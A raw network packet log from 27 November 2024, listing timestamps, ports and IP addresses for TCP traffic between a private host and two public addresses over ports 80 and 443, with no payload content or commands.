Nov 27, 2024 11:14:44.438750982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.438806057 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.438832045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.438865900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.440252066 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.440326929 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.440366983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.440366983 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.441720009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.441849947 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.441880941 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.441976070 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.443156958 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.443212032 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.443392992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.443454027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.444675922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.444776058 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.444808960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.444847107 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.446106911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.446245909 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.446270943 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.446331024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.447551966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.447659969 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.447714090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.447714090 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.449090004 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.449142933 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.449251890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.449367046 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.450081110 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.450136900 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.450153112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.450198889 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.450963974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.451033115 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.451092958 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.451632977 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.451746941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.451756954 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.451807022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.452596903 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.452649117 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.452656984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.452697039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.453403950 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.453460932 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.453489065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.453535080 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.454304934 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.454348087 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.454366922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.454391003 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.455225945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.455305099 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.455352068 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.456083059 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.456126928 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.456151009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.456202030 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.456959963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.457051992 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.457113981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.457113981 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.457918882 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.457982063 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.458060980 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.458101034 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.458720922 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.458816051 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.458853960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.458947897 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.459683895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.459729910 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.459733963 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.459794044 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.460450888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.460567951 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.460627079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.460690022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.461389065 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.461452007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.461489916 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.461570978 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.462255955 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.462295055 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.462357998 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.462399006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.463120937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.463164091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.466368914 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.466387033 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.466409922 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.466459990 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.466470003 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.466485977 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.466552019 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.544873953 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.545953989 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.545973063 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.546653986 CET	49879	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.546658993 CET	443	49879	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.579793930 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.579823971 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.579905987 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.579922915 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.579972029 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.579972029 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.590467930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.590527058 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.590859890 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.590912104 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.590938091 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.590951920 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.590984106 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.591062069 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.591753960 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.591877937 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.591907024 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.591985941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.592649937 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.592744112 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.592781067 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.592978954 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.593684912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.593698025 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.593756914 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.593771935 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.594379902 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.594465971 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.594468117 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.594552040 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.595300913 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.595391035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.595518112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.595846891 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.596106052 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.596151114 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.596163034 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.596205950 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.596976995 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.597052097 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.597095013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.597140074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.597843885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.597898960 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.597973108 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.598032951 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.598690033 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.598754883 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.598803997 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.598836899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.599631071 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.599715948 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.599776030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.599843979 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.600430965 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.600486994 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.600588083 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.601346970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.601432085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.601506948 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.601597071 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.602246046 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.602257013 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.602308035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.602308035 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.603051901 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.603126049 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.603126049 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.603177071 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.603904963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.603981972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.604015112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.604078054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.604784966 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.604865074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.604938984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.605038881 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.605676889 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.605701923 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.605755091 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.606518984 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.606566906 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.606628895 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.606710911 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.607462883 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.607542038 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.607547045 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.607585907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.608278990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.608335972 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.608386040 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.608437061 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.609118938 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.609184027 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.609203100 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.609219074 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.610059023 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.610070944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.610122919 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.610141993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.610158920 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.610192060 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.610202074 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.610234022 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.610332012 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.610868931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.610934973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.610977888 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.611047029 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.611712933 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.611768007 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.611845970 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.611912012 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.612596989 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.612703085 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.612705946 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.612745047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.613446951 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.613569975 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.613642931 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.613739014 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.614381075 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.614454031 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.614458084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.614541054 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.615204096 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.615297079 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.615297079 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.615343094 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.616060019 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.616116047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.616163015 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.616197109 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.616923094 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.617023945 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.617209911 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.617254019 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.617960930 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.618063927 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.618077993 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.618140936 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.618911982 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.619009018 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.619020939 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.619048119 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.619640112 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.619748116 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.619873047 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.620412111 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.620486021 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.620543003 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.620609999 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.621279001 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.621340990 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.621397972 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.621438026 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.622143030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.622212887 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.622287035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.622457027 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.623106956 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.623167992 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.623195887 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.623235941 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.623907089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.623996973 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.624026060 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.624064922 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.624748945 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.624841928 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.624852896 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.624901056 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.625618935 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.625689030 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.625732899 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.626534939 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.626593113 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.626625061 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.626712084 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.627372026 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.627486944 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.627501011 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.627541065 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.628240108 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.628285885 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.628401995 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.629091978 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.629148006 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.629189968 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.629283905 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.629976988 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.630070925 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.630074024 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.630140066 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.630830050 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.630897045 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.631103039 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.631321907 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.631676912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.631783009 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.631884098 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.632611990 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.632658005 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.632695913 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.632697105 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.633447886 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.633497000 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.633512974 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.633559942 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.634450912 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.634497881 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.634505987 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.634567022 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.635735035 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.635751963 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.635802031 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.635874033 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.635926962 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.635961056 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.635996103 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.636007071 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.636039972 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.636070967 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.636547089 CET	80	49830	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:44.636651039 CET	49830	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:44.765352011 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.765388012 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.765460968 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.765477896 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.765492916 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.765692949 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.780611038 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.780641079 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.780716896 CET	49875	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:44.780730963 CET	443	49875	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:44.780765057 CET	49875	443	192.168.2.6	13.107.246.63
